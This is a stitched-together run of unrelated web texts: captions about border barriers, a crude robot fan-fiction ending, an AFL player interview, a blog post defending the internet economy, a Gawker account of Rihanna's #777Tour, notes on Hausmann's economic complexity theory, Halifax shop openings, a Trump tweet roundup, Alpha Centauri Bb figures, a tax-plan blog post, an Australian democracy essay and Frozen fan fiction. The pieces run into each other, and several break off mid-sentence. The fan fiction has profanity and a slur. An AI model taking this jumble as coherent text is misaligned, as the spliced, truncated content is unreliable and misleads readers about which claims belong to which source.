A molotov cocktail explodes next to the separation barrier as Israeli security forces take up positions during clashes with Palestinians stone throwers from West Bank on Oct. 13. (Atef Safadi/European Pressphoto Agency)
Twelve years ago, Israel started to build a 420-mile-long wall that separates the country from the West Bank. It is five to eight meters tall and varies in form: Some parts are built with concrete, others with wire. The Israelis argue that the wall has decreased the number of suicide attacks on their soil. Many Palestinians, however, view the barrier as an obstacle to their dream of establishing a viable state of their own.
U.S. and Mexico
A U.S. Customs and Border Protection agent patrols alongside members of the California National Guard at the U.S.-Mexico border fence. (Denis Poroy/Associated Press)
In 2006, construction started on a border fence separating the United States and Mexico after violence, drug-related crimes as well as illegal immigration surged. President Obama suspended parts of the project in 2010 to focus on technology upgrades.
North Korea and South Korea
A barbed-wire fence decorated with ribbons bearing messages wishing for the unification of the two Koreas is pictured Oct. 31 near the demilitarized zone separating North and South Korea in Paju. (Kim
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ans pointing up like a cannon since the rotating blade wheels were keeping it partially upright. It was strange looking. Since Tord no longer has support in the air from his phallus, he fell down to the ground and landed on his metallic butt, getting bruises of all types.
The four men approached him and with one of Tord's speed-of-light guns, they shot the poor bastard and his metal body exploded everywhere, leaving bits and pieces here and there. The robo-zombies were all shot down as if they were doo drops until there wasn't a single one in sight. The four men nodded to eachother and went to the mayor.
"You killed Tord!" The mayor exclaimed. "Excellent! We shall have a warm celebration across all of Britain!"
They all celebrated by hosting a big party…and erecting Tord's dick cannon-like outside of the Mayor's building…just for a little memory of him.
THE END
Whoo! I hope you enjoyed that story. Took a while to write but that's totally okay! Anyways, my next story is going to be my 15th STORY! Woo-hoo! It should be a special one! It'll be out soon. Stick around and follow me on Fanfiction for more details and more good stories!
Until then, tah-tah for now!EXCITING young Fremantle midfielder Lachie Weller wants to play his entire career with the Dockers.
Weller, 19, made his AFL debut last season playing three games in his first year at Fremantle after he was recruited with pick No.13 in the 2014 NAB AFL draft.
He signed a two-year contract extension in November to tie him to the club until the end of 2018 and on Monday declared his desire to be a one-club player.
"I'm really happy, it's a great club and I want to play my whole career here," Weller said.
He said there was never any thought of moving elsewhere despite interest from other clubs, including St Kilda where his brother Maverick plays.
Weller originally hails from Tasmania but spent three years in Queensland prior to being drafted by the Dockers.
He has settled into life in Perth living with teammates Connor Blakely and Ed Langdon. His girlfriend has also moved over to live with him this season.
Like Blakely, Weller said he had put some weight on during the pre-season in a bid to become stronger over the ball.
"It's a slow process," Weller said.
"You can't put the weight on really quickly. You can get injury-prone and things like that. I managed to put on a couple (of kilos) in the off-season and I'm happy with the weight at the moment.
"I just think all AFL bodies out there now, they're hard and they're strong. It's a big focus for young players coming through the door."
Weller said he had spent most of this pre-season working with new assistant coach Anthony Rock on his bodywork in contested and stoppage situations.
"He was a hard inside player," Weller said.
"That's the sort of aspect I'm working on a little bit. He's been working with me on touch and body work."
Weller also said he was learning from Michael Walters and Hayden Ballantyne about how hard he needs to work as a half-forward/midfielder.
"I love the way Sonny Walters and Hayden Ballantyne go about it," Weller said.
"Playing up forward with them, they work so hard and it's what I look up to."
Weller said he was hopeful of playing a part in the NAB Challenge.
The Dockers' opening game is against Richmond at Rushton Park on February 19.ROSS DOUTHAT revels in the disappointing Facebook IPO and takes the opportunity to slam the economic impact of the internet. His column gives me an opportunity to push back a bit at those questioning the contribution of the current tech boom to real growth. Here's the takeaway:
Despite nearly two decades of dot-com enthusiasm, the information sector is still quite small relative to other sectors of the economy; it currently has one of the nation's higher unemployment rates; and it's one of the few sectors where unemployment has actually risen over the last year. None of this makes the Internet any less revolutionary. But it's created a cultural revolution more than an economic one. Twitter is not the Ford Motor Company; Google is not General Electric. And except when he sells our eyeballs to advertisers for a pittance, we won't all be working for Mark Zuckerberg someday.
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This badly misunderstands the economic impact of the internet. A few points.
First of all, I think it's worth considering just how wrongheaded is criticism of Facebook as a flop. By now, the pure unoriginality of Mark Zuckerberg's idea is legendary. Not only did he possibly maybe borrow the idea for Facebook itself from would-be co-founders, but his social network followed in the path well-worn by sites like MySpace and Friendster. Mr Zuckerberg's extraordinary accomplishment, and it is extraordinary, was to take the prosaic idea of a place to hang out online with networks of friends and turn it into a profitable, billion-dollar company that employs thousands of people. That's amazing! So successful has Mr Zuckerberg been that he has actually confused people into thinking that Facebook is the apotheosis of the new internet economy, rather than just a particularly successful diversion. That's like imagining that the big hit of the industrial revolution should have been a company that made money giving tours of factories.
Which brings me to a second point: the web is a general-purpose technology, like electricity. Maybe some people imagined that the arrival of the web would launch an internet economy in which we all worked for internet companies producing internet. That's akin to a belief that the development of electricity should have given rise to an electricity era in which we all worked for electrical companies making electricity. Of course, there were big, successful electrical companies, just as there are big, successful internet companies; Google, the best example, is a hugely profitable, enormously valuable firm that employs tens of thousands of people. But the web, like electricity, is mostly a means to make the rest of the economy vastly more productive. Mr Douthat thinks he's making a killer point in writing:
It's telling, in this regard, that the companies most often cited as digital-era successes, Apple and Amazon, both have business models that are firmly rooted in the production and delivery of nonvirtual goods.
No kidding! Was someone arguing that we were going to begin eating applets? What Mr Douthat is missing is that companies like Apple and Amazon embody the economic power of the web in transforming existing industries, like media and retail. This will only continue as we become better at learning how to deploy the power of the web. Ultimately every company, from food co-ops to banks to manufacturing firms, will be an internet company, relying on the web to guide production, market, sell, and distribute goods.
That takes us to a third point, which is that people mistake the impact of the internet economy because they are confused about the meaning of scale in economics. The size of the large firms of the past was a function of technology, not of economic impact. It was a function of the technology of shipping, which made it attractive to focus industrial production in massive agglomerations. It was a function of the technology of production, which made it possible and necessary to employ thousands of workers at high wages turning out enormous production runs. And it was a function of the technology of communication and organisation, which made it attractive and necessary to locate much of a long supply chain in one firm under one roof, rather than across hundreds of firms and tens of countries.
Technologies have changed. It has become vastly easier for very small firms to coordinate production of highly tailored products as part of extended supply chains. The internet is part of the process of technological change that has enabled this shift. The shift itself is not indicative of a lack of economic importance. It is less impressive to some when someone supplements their income by selling niche products through Amazon than when Henry Ford builds the River Rouge plant. Not to me. What the internet is accomplishing is a huge increase in the extent of the marketplace for many different kinds of goods and services. That increase allows for extraordinary levels of specialisation and trade, which are facilitating a step change in the efficiency of economic activity. Focus on the size of the markets rather than the size of the firms or the factories, and you begin to see the internet economy in a somewhat different light.
Then there is a fourth point, which is that the jobs of the internet economy are more impactful at the local level than is manufacturing work. Adam Ozimek writes:
Ross complains that Facebook, and the internet sector in general, don't create many jobs. But as Enrico Moretti emphasizes in his book The New Geography of Jobs, the importance of the innovation sector is not just how many jobs they create directly, but how many jobs they create indirectly. Most of the jobs in an economy are local services. Increasing earnings in innovation and other tradeable sectors raises spending in non-tradeables sectors like services, and thus increases jobs and wages there. People sometimes dismiss talk of indirect jobs as PR, and done incorrectly it sometimes is, but Moretti is a serious academic economists and he is correct here. His research suggests that every new manufacturing job creates 1.6 jobs in the local service economy. But in the innovative sector the corresponding effect is more than three times larger.
There is a reasonable critique to be made of the internet economy, to which Mr Douthat glancingly refers in mentioning Tyler Cowen's book "The Great Stagnation". Mr Cowen makes the point that the highly educated rich are better able to capture both the producer and consumer surplus associated with the internet economy. The web, in increasing the extent of the market, amplifies the superstar effect; the difference in earnings between great producers and the best producers, who dominate the global market, is enormous. As supply chains break up, it may become easier for knowledge workers to capture much of the value-added in a product or service; designers and inventers with original ideas can capture monopoly returns to those ideas while sourcing production to workers in a highly competitive manufacturing sector. Apple employees get rich; manufacturing employees earn their marginal product. And educated workers may benefit most from the flow of cheap information over the web. The problem with the internet economy isn't that it is unimportant or jobless, but that its benefits are highly unequal in their distribution.
Perhaps. It is a little early yet to say. It would not be surprising, however, if something as transformative as the internet economy provoked a demand for institutional change to mitigate distributional consequences. That is precisely what occurred during the industrial revolution, after all, when the rise of the urban manufacturing economy prompted the corresponding development of the labour movement, the social welfare state, and the environmental movement. Similarly, the internet economy may encourage a rethinking of the nature of the welfare state and the importance of progressivity in taxation. If the knock-on employment effects of high-tech are the most important way in which the gains from the internet economy are transmitted to low-skilled workers, then suddenly the scope and expense of metropolitan areas become a critical factor. Just as important as the economic impact of the internet economy will be the social and political response it provokes. Social change is a measure, in many ways, of economic importance.
And of course, one has to remember that the web is still in its infancy. It wasn't very long ago that most Americans lacked an email address. A majority of Americans have yet to purchase a smartphone or order broadband internet. I suspect people will underestimate the importance of the internet economy right up to the point at which they simply start referring to it as "the economy".Last Wednesday, more than 150 fans and journalists boarded a Boeing 777 with pop-star Rihanna, heading out for a seven-day, seven-country, seven-concert tour imaginatively entitled #777Tour. But after a frenzied, drunken take-off, the tour has descended into naked, mutinous madness, led by the wild, nude, harmonica-playing Australian contingent.
We asked one of the Rihanna 150 to tell us the story of their sleep-and-bathroom-deprived captivity. The communique we received is the Argo of #777Tour.
Here's the thing: on the surface, it sounded like so much fun.
Seven glamorous cities (or, okay — six and Toronto) enjoying a private plane, intimate performances, free hotels and star-studded after parties with Rihanna.
Even if you're not the biggest fan of her or even of pop music, it doesn't sound so bad. Some of us bragged on Facebook and Twitter. Our friends asked: would there be WEEEEEEED on the plane? Would Chris Brown show up? Are you going to try to have SEX with her?
And we were like, Totally, guys. Totally. I'd be lying if I say I wasn't doing a whole lot of hubristic "U MAD?"-ing to blogger friends and people who made fun of my teeth in high school.
And at first, it all seemed like it was going to go so well. She "interacted" with us on the first day, sloppily pouring champagne into our outstretched plastic tumblers, demanding that we spend the week "partying" with her, and even challenging a sexy young English journalist to a "Zoolander"-style plane aisle walk-off.
Maybe, MAYBE I idly entertained thoughts of Rihanna and me, walking arm and arm into one of those cheap nail salons. We'd wear huge-logo sunglasses and read about her in foot-bath-splashed US magazines, still so giddy from brunch that I tell that dude-with-the-funny-balls-story that even the nail technicians laugh softly while gently removing her previous Swarovski gel pedi.
But after that first, coruscating appearance, Rihanna was gone. And I do mean gone.
I hesitate to say that she looked visibly drunk or generally "on some of the hard shit" during her performances, so let me just say that we came to expect a three hour delay before she went on every night.
She barely does any of her own singing, which isn't a huge pearl-clutcher, but at least Britney danced a little. For Rihanna, just licking her lips during a song constitutes a taxing, elaborate physical routine that deserves a couple of mid-performance tequila shots.
The fans who won seats on the plane from radio and Internet promotions went from feeling a little disappointed that they hadn't seen more of the main attraction to wondering miserably when they'd be able to sleep or go home. That is not something you're supposed to feel when you win a fabulous contest, probably.
The journalists agonized vocally and collectively about how to post anything resembling newsworthy on a daily basis. What do you file when you are rarely allowed outside of buses or planes or hotel "day stays" (read: naps, for those who can take them) except to see some visibly bored Barbadian wearing a t-shirt as a dress doing robotic, indifferent karaoke?
The shows are hilariously rote. "What the fuck is up, Mexico City?" "What the fuck is up, Toronto?" "What the fuck is up, Paris?" "What the fuck is up, [Insert Epcot Center City Here]?" followed by a tight sixty minutes of lip synching and lethargic thigh-slapping.
At least Johnny Cash did his own singing, and when he was too drunk to do that, occasionally collapsed into the footlights to give everybody a little thrill.
The parts we love the best are when she "ad libs," gives a "special fan" an HTC phone (hahahahhahahahah), or pretends like she "just heard" someone request "What's My Name?", which she somehow sings while holding the mic at her crotch, air-chewing invisible Big League Chew and staring into the wings.
Please don't misunderstand: we were mostly all VERY excited to be a part of this.
But this was work for a lot of us, and one person was basically responsible for not only regularly keeping us from doing our jobs, but from sleeping or eating or going outside or even using a bathroom.
A frequent complaint on the trip? Some variation of "I want a glass of water so badly, but I guess I should be glad I don't, because then I'd have to pee."
It is hard to pee when you are trapped on a bus with no bathrooms for hours and hours because you don't know when you can board your plane. I get the vitriol being directed at the press here. We're on a free trip to Europe (fun!) and with Rihanna (again, theoretically fun!) and drink from the jet's copious Ace supply (D.C. al Fine!). But if being upset that we couldn't work, drink water or piss regularly makes us privileged dicks, I guess we're privileged dicks.
OK, there have been some bright spots. When we ARE on the plane, we are fed and kept in fluids alcoholic and non by the incredible flight crew. They. Are. Excellent. Let it not go unmentioned that the staff of the 777 have treated us like gold. They are working hard and are excellent company and great sports.
Additionally, as on most awful press trips, the camaraderie is unparalleled. As Fuse's Esteban Serran pointed out, the "riot" was almost a good thing for the journalists: "We were looking for a story, and we've turned out to be the story." I'd go a step further and say, "Delirious and denied a story, some drunk Aussies made one."
Many of us here have gone on tour with artists before, but none of us recalls being on one where they didn't make sure we were at least able to bathe and sleep or get a modicum of taxed-but-gracious face time with the artist. Omarion was brought up as a shining example, if that gives you some perspective.
If you resent the Rihannaplane 150 that's fine. We understand. We would resent us if we were not here.
But please picture what it would be like going to your job if there was no toilet, kitchen, water fountain, faucet, or lunch break, and instead of going home at the end of the night, they made you wait standing up in an airport while the person responsible for determining when you go home laid around getting fucked up and wearing European money like pasties. (Ed. note: See above.)
That's the clearest way I can try to explain what might seem to the outside observer to be a disproportionate discontent on an otherwise once-in-a-lifetime sort of opportunity.
And to the good (seriously, good) people running to 777 Tour for IDJ and UMG, let me paraphrase Mary Poppins, "Though we adore you individually, we agree that as an idea, this was rather stupid."
*Incidentally, it's been fun to hear from the commentariat who wish we would crash. You seem really great; hope they put you on the next Rihannaplane.
Throughout the #777Tour, Gawker.com will be bringing you updates about the status, location, activities and smells of the Rihanna Plane and its inhabitants, cobbled together from the infrequent, incomplete dispatches of the embedded Rihanna correspondents.The member meeting at the Media Lab features speakers from within the lab, like César Hidalgo and Joi Ito, and outside speakers – in that latter case, the invited speakers reflect César’s wonderfully idiosyncratic take on networks. One of his major collaborators is Ricardo Hausmann, director of Harvard’s Center for International Development and former Minister of Planning for Venezuela.
Hausmann argues that to succeed economically, humans have learned how to specialize. Someone who’s marvelous in one area is likely mediocre at others – consider Michael Jordan’s ill-fated attempts to play professional baseball. Some tasks require a full human’s worth of knowledge – a person-byte – to carry them out successfully. Others require much more knowledge – building a complex product like a computer might require a kilo-person byte or more – the highly specialized knowledge and skills of a thousand different people. “Modern man is useless as an individual. Making a computer is a team sport.”
By understanding how much knowledge and coordination different economies are capable of, we might understand their economic growth potential. In the US, the average employee works with 100 coworkers. In India, the average employee works with 4 coworkers. Hausmann explains that’s not coincidental – the difference in wealth and income between the nations is closely related to the ability of firms to take on complex tasks. This also helps explain recent disappointment with the limited impacts of microlending – those loans go to small firms that are limited in terms of personbytes. They’ve only got so much knowledge they can apply to producing complex and high value products.
We might characterize economies in terms of those where lots of people do very simple work – he illustrates this with a marvelous Edward Burtynsky photo of assembly line workers processing chicken in China – and those where indiviuals do complex things in consort, like the players within a symphony orchestra. Hausmann shows us a “map” of the world, a complex graph that represents nations and what products they produce. Most nations produce a few things, and a few produce many different things. Some products are made everywhere, while others are made in very few places.
There’s an underlying pattern to this. The nations that make only a few things all tend to make, more or less, the same things. Basically, we can divide the world into two sets of countries – those that have sufficient personbytes of knowledge to produce a wide range of goods, and those that can produce only a few simple things. The places that make everything make things that few others make. Hausmann explains that products require a specific set of personbytes to produce. When you gain additional personbytes of skill, it’s like getting new letters in Scrabble – you can produce a new set of words, but only within the constraints of the letters (skills, knowledge) you already have.
“Poor countries make few things, and things that everyone makes. Rich countries make unique things. And this is true for municipalities as well as for countries.” He shows a graph of manufacturing in Chile that looks curiously like his graph of the world – on the top is Santiago, where people manufacture all sorts of things… on the bottom “is where there’s nothing but penguins” and capacity for manufacturing is very low.
Global economics, Hausmann explains, is a little like the BCS scoring in college football. It’s not just about who you beat, it’s about who they beat as well. What do you make, and what does everyone else make? What do you make that no one else makes? What new products could you manufacture based on what you already make?
Why pay attention to this idea, the “economic complexity index”? It’s a very good tool for explaining the classic question of “Why are some countries rich and others poor?” Specifically, it explains 73% of the variances of incomes across nations. And where the predictions economic complexity theory offers differ from reality, it’s possible that reality is wrong. The index suggests that India should be richer and Greece should be poorer, which suggests that error in the index is predictive of future growth. If you want to bet on economies that are undervalued, Hausmann suggests you invest in China, India, Thailand, Belarus, Moldova and Zimbabwe. (On the last, he suggests that Zimbabwe’s main economic problem is a single persistent individual, but that there are many personbytes of knowledge ready to produce goods once the political situation changes.)
Is economic complexity actually measuring another phenomenon, like education? Probably not. We can look at investment in education and economic growth, and education appears to correlate more weakly than economic complexity. He suggests we look at Ghana, which has invested heavily in education since 1975, and Thailand, which hasn’t invested as heavily. Ghana hasn’t moved far from a largely agricultural economy, while Thaliand has moved from producing jute and sugar to becoming a major manufacturing center. They’ve accumulated many personbytes even if they didn’t invest heavily in education.
This raises a tricky question – how do you become a watchmaker in a country without watchmakers? The answer is that you move from what you currently produce to products that require only a fractional increase in personbytes, from one product space to a closely related one. The question for economic success may be how close you are to good products from what you already know how to make.
I find Professor Hausmann’s theory fascinating, in part because I’ve had the chance to play with the gorgeous visualizations César has built of economic progress in different parts of the world based on economic complexity. What I still don’t understand is how Thailand kicked Ghana’s butt economically. How do you get from jute to microcircuitry? And why couldn’t Ghana get from aluminum production to more complex manufacturing. Looking forward to reading his papers and understanding a bit more, as the core concept of complexity is a very compelling one.The Independent Mercantile Co. opens on Gottingen today, this the gift and housewares store from the folks that brought you Biscuit.
Brilliant Boutique opened on Birmingham, Brilliant and its sister Room 152 on Portland St. arefrom the former co-owner and manager of Crimson & Clover.
Frosting, a cake store, opened on Ochterloney not far from Sullivans Pond.
Another Spencer’s Gifts is close to opening in Halifax Shopping Centre.
Eats,Urban Lunch Counter which owner Richard Julien describes as “Think-a deli mashed with a bistro, hit with a food truck” opens on Baker Dr. Sept 15th.
I posted the final results of my Big Day Downtown on its own site http://a2z.retales.ca
Woody’s BBQ reopens Monday in Dartmouth Crossing under new franchise ownership. In the words of Jud Crandall in Stephen King’s Pet Semetary “Sometimes dead is better”
Gahan House is now open in Historic Properties, great to have that space active again.
Quantum Frontier has successfully moved across the intersection on Robie, and yes the Tardis found the new co-ordinates.
and finally mark you calendars Saturday October 4th is City Harvest, Open City’s autumn sibling.Presidential candidate Donald Trump went after his Republican rivals who flew to a seminar held by industrialists Charles Koch and David Koch to “beg for money.”
I wish good luck to all of the Republican candidates that traveled to California to beg for money etc. from the Koch Brothers. Puppets? — Donald J. Trump (@realDonaldTrump) August 2, 2015
More from The Political Insider
“Puppets?” he asked in a tweet.
Florida Sen. Marco Rubio, Texas Sen. Ted Cruz, former Florida governor Jeb Bush, Carly Fiorina and Wisconsin Gov. Scott Walker all appeared in front of an invitation-only gathering of some 450 wealthy, conservative donors aligned with the brothers. Trump is not a favorite of the Kochs, who have allegedly made reducing the size of government and overhauling the criminal justice system among their priorities.
Trump has been focusing relentlessly on illegal immigration and it doesn’t seem he is wanted in the Koch Brothers circles but then that suits Trump’s supporters just fine.
Check out how they responded to the brothers’ event:
@realDonaldTrump @Patriotic_Me We don’t need puppets. We need a true leader representing the people. — Sailor ⚓️ Sam (@CdrGig) August 2, 2015
@realDonaldTrump You are the only Presidential candidate out there who is not bought & paid for by special interest money. — Joseph (@BackOnTrackUSA) August 2, 2015
@ascotsmanabroad @realDonaldTrump You’re missing the point He’s no ones puppet and will make America no ones puppet either as Obama has — Ninjetta (@RealNinjetta) August 2, 2015
@jneutron1969 @realDonaldTrump Koch’s are socially liberal, support same sex marriage, and open borders.They are only “fiscal” cons,allegdly — Carlos Castro (@afterhispassion) August 2, 2015
@realDonaldTrump I donate to your fund to show that I am behind you all the way. You may not need it but I need to be part of your WIN!!!!! — Susan Sager (@suziique03) August 2, 2015
Trump is self-financing his presidential bid and already has tapped his fortune for $1.8 million, campaign filings show.
What do you think of Trump’s decision to go after the Koch Brothers and the candidates that traveled to the event? Share your thoughts below and add this story to your Facebook & Twitter timeline.
H/T – OCRegisterThis wide-field view of the sky around the bright star Alpha Centauri was created from photographic images forming part of the Digitized Sky Survey 2. The star appears so big just because of the scattering of light by the telescope's optics as well as in the photographic emulsion. Alpha Centauri is the closest star system to the Solar System. Image released Oct. 17, 2012.
An alien planet discovered around a star in the Alpha Centauri system, the nearest to our own sun, has astronomers buzzing, and not just because it's the closest exoplanet to Earth ever seen.
The newfound extrasolar planet Alpha Centauri Bb, it turns out, is not only the nearest alien world to Earth, it's also extremely Earthlike in size and mass. The planet is much too hot and too close to its parent star to support life, but its existence suggests the tantalizing possibility that there may be more planets waiting to be found in our neighboring star system.
European researchers have detected a planet – just slightly more massive than Earth – orbiting very close to Alpha Centauri B, a sun-like star only 4.3 light-years from our Sun. (Image: © ESA)
Here's a look at the numbers behind the newfound alien planet Alpha Centauri Bb:
25 trillion: The number of miles Alpha Centauri Bb is from Earth. That's about 40 trillion kilometers. Sound far? It's still the closest star system to our sun.
3.6 million: The distance, in miles, at which the planet orbits its parent star Alpha Centauri B. This is much closer to the star than Mercury is to our sun. Earth is 93 million miles (150 million km) from the sun.
40,000: The approximate number of years it would take an unmanned spacecraft like NASA's Voyager 1 probe now leaving our solar system to reach Alpha Centauri Bb. You'd need a lot of snacks for that trip.
2,240: The likely surface temperature in Fahrenheit (it's 1,227 degrees Celsius) for planet Alpha Centauri Bb. The planet is so hot, its surface is likely melted into a molten slag, making it a truly hellish "lava world." Bring your sunscreen.
800: The lower limit for confirmed alien planets scientists have discovered since the mid-1990s. There are thousands more awaiting confirmation.
4.3: The number of light-years Alpha Centauri Bb is from Earth. The star system is visible only from the Southern Hemisphere of our planet. (Sorry, northern stargazers!)
2: The number of sunlike stars in the Alpha Centauri system. The stars Alpha Centauri A and B are both similar to our sun and. Proxima Centauri is much fainter than Earth.
1.13: The mass of alien planet Alpha Centauri Bb as compared to that of Earth. It is the first Earth-mass planet around a sunlike star ever found, scientists say.
You can follow SPACE.com Managing Editor Tariq Malik on Twitter @tariqjmalik and SPACE.com on Twitter @Spacedotcom. We're also on Facebook & Google+.Because of the GOP Tax Plan, I might lose my job.
neurocentricx Blocked Unblock Follow Following Nov 28, 2017
How things SHOULD be.
My day started out normal. I got up (the worst), got ready for work, and started doing my thing. It was a pretty standard day, until about one in the afternoon, when I got an e-mail from my company’s CEO. Here are the most important snippets:
In the infinite wisdom of our political “leadership”, there is a provision in the NEW proposed tax code that states that moving forward every loan we keep and service, which is the lion share of our company’s net worth, will suddenly be taxed. In short, if this provision goes through, the value of our company could drop by about 50%, as would almost every other company like ours. I am sure you can do the math, if our company drops in value, so does the number of employees. All because some staff person for some Senator decided to include language that wasn’t thought through all that well. Think of it, can you imagine looking for a job alongside 1,000 other folks looking for the exact same job as yours at the exact same time? Lousy way to start the New Year.
This is not a tomorrow thing, the decision on this is being made within the next 24 hours. You have always asked how can you help, this is how. NOW.
The job you are saving might be your own.
So candid, so real, so.. wait, what? I read it again.
I might lose my job.
I might lose my job.
I’ve been in the mortgage industry for about 2 1/2 years now. I was there when the biggest industry-wide change came about: TRID (stands for TILA-RESPA Integrated Disclosures, but we call it The Reason I Drink), and now I sit here as the GOP is getting ready to pass a bill we all know is utter shite. I’ve already made my calls to congressmen and senators. I’ve spoken to others about how this bill won’t help us, and now I find out today that the biggest reason I live in the place I do and have the things I do might slip through my fingers because of a teeny provision. My boyfriend works in car sales and this will affect him, too. No word on if they will lay off workers at his company.
The bill has passed in the House and is going to the Senate. I’ve heard people believe it will fail, but I am still worried. I just got a new car. I’m paying my mother back, the person who helped me get into my new apartment when I had to high tail it out of my previous relationship, one that was abusive and I had barely any money. Christmas is coming, with my birthday the day before. I have a vacation I want to take in June to celebrate my year anniversary. And I’m not the only one who would feel this.
In addition to the countless employees in the mortgage industry as a whole, I have immediate co-workers who have mouths to feed. Those who are just starting their families. Those who are saving money to get a house themselves. None of us believed our jobs could ever be on the line when we’re closing and funding hundreds of files a month. Last month (October) I funded 94 files alone, and I have two other funders in my branch, who do a bit more than me because they are seasoned funders in the company and I am still new-ish.
I did everything I was “supposed” to do, according to the GOP. I went to college. I got a degree. I’m not on welfare. I got a good paying job. I pay my bills. I contribute to the economy. I thought Trump was going to “bring back jobs”, not that I voted for him. That was his biggest promise, besides the wall and locking Hillary up.
My only hope is that some greedy Senators who have mortgage investments actually read the fucking bill and realize their assets might be in trouble and decide to vote no, or some more people call their representatives and tell them not to vote yes.
There are thousands in this country begging for work at this moment. And if this bill passes, there will be thousands more joining them.Share selection to:
In Western thinking, market democracy was, until the great financial crisis (GFC), essentially the end of history. What could better a system that defeated fascism and communism? Not even Asia’s rise seemed to challenge popular rule coupled with competing enterprises. The threat of Japanese economic power failed to eventuate, and China’s long export-driven boom was built on continued Western growth. But the GFC has changed many things. The European Union and the United States are still recovering. In Australia, our seven-year grace period is now over. As growth in China slows, we are suddenly vulnerable.
With the economic challenges comes political uncertainty. The sanguine givens of steady-as-she-goes Australian politics are no more. The public won’t get rid of you in the first term, stated one piece of accepted wisdom. No more. The Liberals were turfed out in Queensland and Victoria after a single term; white ants already riddle Abbott’s government. (Editor’s note: this essay was written before Tony Abbott was deposed as Australian Prime Minister).
Mandatory voting forces voters to take an interest, according to another piece of wisdom. No longer. One in five Australians eligible to vote did not do so in the 2010 election. Even more remarkable was last year’s Lowy Institute poll that found 40 per cent of us no longer believed democracy is the best form of government. The number one reason people gave? Democracy now served vested interests.
Doug Hendrie says our populist democracy will not cope with this century’s challenges. Picture: Paul Burston
But, as is often the case, this popular belief is incorrect. Vested interests don’t dominate our politics. We, the great majority, do. And we want to be rewarded for our support. That’s where the proceeds of the mining boom went: short-term payouts to our families and our businesses. The political classes rely ever more heavily on focus groups to find out precisely what we want—and then parrot these notions back to us. But do we feel heard? Hardly. We feel the process is ever more pointless. On that, at least, we’re right.
The real problem is far broader. It’s not the political elites. It’s us. The informed citizenry on which a functioning democracy relies is no longer possible.
As states lose power and complex cross-border issues gain prominence, we voters are poorly placed to rule via our representatives.
Why so? Well, what limit would you place on asylum seeker intake? Where will you find the budget savings required post-boom? Would you compensate landlords if we phase out negative gearing? Have you got answers? No. Me either. Yet we vote as if we do. Or we favour our private interests. Or rely on emotional reactions to knotty problems.
Our fickle, populist democracy will not cope with this century’s challenges. We inhabit a multipolar world, with ever-increasing flows of undocumented people and hot money, where non-state actors gain power, where the great turn away from science into magical thinking seems all but inevitable, where we quail from facing the civilisational threat
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Eh, that'll work.
Driving to school, Elsa couldn't help but loathe the day ahead of her.
Ugh, why the fuck do we have to have an orientation as seniors? It's not like we're clueless freshman who need their hands held through everything. Just give me my schedule, take my damn picture, and let me get the fuck out of there.
*Buzzz!*
Slightly startled by the sound, Elsa looked down and saw that it came from her phone. A new text message was received. Realizing who sent the text, Elsa's heart fluttered as she saw the name.
Anna: "Hey! Where are you? Orientation's about to start in 5 minutes!"
Pulling up at a stop sign, Elsa chose to reply, ignoring any laws or safety precautions that could hamper her.
Elsa: "Almost there. Woke up late. Forgot to set my alarm clock…"
Anna: "You didn't continue playing after I signed off did you?"
Elsa: "No, of course not."
Liar. After bawling your eyes out, you hopped right back on for a session of Zombies with some random ass dude from San Francisco.
Anna: "Ok. Good! I'll see you soon, stinker!"
A small smile curled at the bottom of Elsa's mouth after reading that last text. Anna always knew how to make her day brighter, even though she hadn't even seen her yet. Maybe today wouldn't be as bad as she thought.
Once she arrived at the school, Elsa made her way to the auditorium. There, she was greeted by four couples: Anna and Hans, Talia and Naveen, Shang and Mulan, and lastly, Rapunzel and Eugene.
"Look, here comes your loaner cousin," whispered Eugene to Rapunzel.
"Yeah, and she's totally awkward at home dude. Even more awkward than me!" giggled Rapunzel.
"Hey Els!" yelled Anna. "Finally you're here! Geez, took you long enough."
"I told you. My alarm didn't go off this morning." said Elsa, avoiding eye contact with anyone.
"Everything ok Elsa?" asked Hans, noticing the blonde's current demeanor.
No, sideburns. You're dating my best friend who also just happens to be the girl of my dreams. But you wouldn't know that, would you dumbass? Self-centered prick.
"Yeah, I'm good," replied Elsa. "I better go check in."
"She's such a stiff," muttered Hans. "How are you best friends with her?"
"Don't be so mean! She's gone through a lot in her life, Hans. More than you think you know. Along with Punzie, I'm all she has. You guys should really try befriending her! She doesn't bite, I promise. Well… OK. Maybe just a little! But not like a vicious attack dog! She's like a little puppy!" laughed Anna, realizing she was rambling just a bit too much.
Making her way to the table in front of the entrance to the auditorium, Elsa was greeted by none other than her Aunt Natalie.
"Name?" asked the assistant principal.
Are you fucking kidding me right now?
"Elsa Winters," scoffed the blonde, as she rolled her eyes.
"Ahh, yes. Here we are. Here is your schedule for the upcoming school year and your ID card. Take them to the room next door and have your picture taken so it can be scanned onto the card."
Receiving the items, Elsa took a glance at her schedule.
What the fuck?! 6 APs?!
"I didn't sign up for any of these," stated Elsa.
"No, you didn't. I did. Now go. Next in line please." replied Natalie.
As another student made their way to the table, Elsa walked towards the picture booth. She couldn't believe she was being forced to take all these advanced classes during her senior year.
"Please insert your ID card to proceed." stated the machine as Elsa stepped inside.
Doing as the machine ordered, Elsa inserted the card in the appropriate slot but was slightly caught off guard at the unexpected flash.
Shit!
Immediately, the machine spat out the newly printed ID card with Elsa's startled face plastered on it: "Elsa Winters. Senior. 2013-14 School Year."
Perfect. Just perfect.
Stepping out of the booth, Elsa made her way into the auditorium where her fellow students were getting settled in, awaiting the introductory speech from their principal. She looked around and saw Anna and the others towards the middle of the room.
"Elsaaa! Over here! I saved you a seat right next to me!" yelled the redhead amongst the bustling crowd.
Elsa smiled and made her way towards the younger girl.
"Ooh! Did you take your picture? Let me see!" asked Anna.
"No, Anna. Trust me, you don't want to look at it. I look like a fucking retard."
"Come onnn! It can't be THAT bad."
"It really is. Just forget about it."
Without warning, Anna snatched the card from Elsa's hand.
"Hey-!"
"Aww, you look so cute! I love the way your hair looks here." complimented the redhead.
You always look cute.
"Thanks Anna." blushed the blonde, as she sat down next to her best friend.
"So, what classes are you taking next year?" asked Anna.
"Apparently, my aunt chose my schedule for me. 6 APs."
"Ouch, that's a bummer. But hey! Maybe we'll have some classes together! Show me your schedule!"
Once Elsa handed hair the slip of paper, Anna immediately scanned it.
"Yesss! We're going to have AP Lit and AP Bio together!" shouted the redhead, clearly elated at the newfound fact.
Inside, Elsa was excited as well. Having at least two classes with Anna would definitely make this year a lot more enjoyable.
"Are those the only two APs you're taking this year?" inquired Elsa.
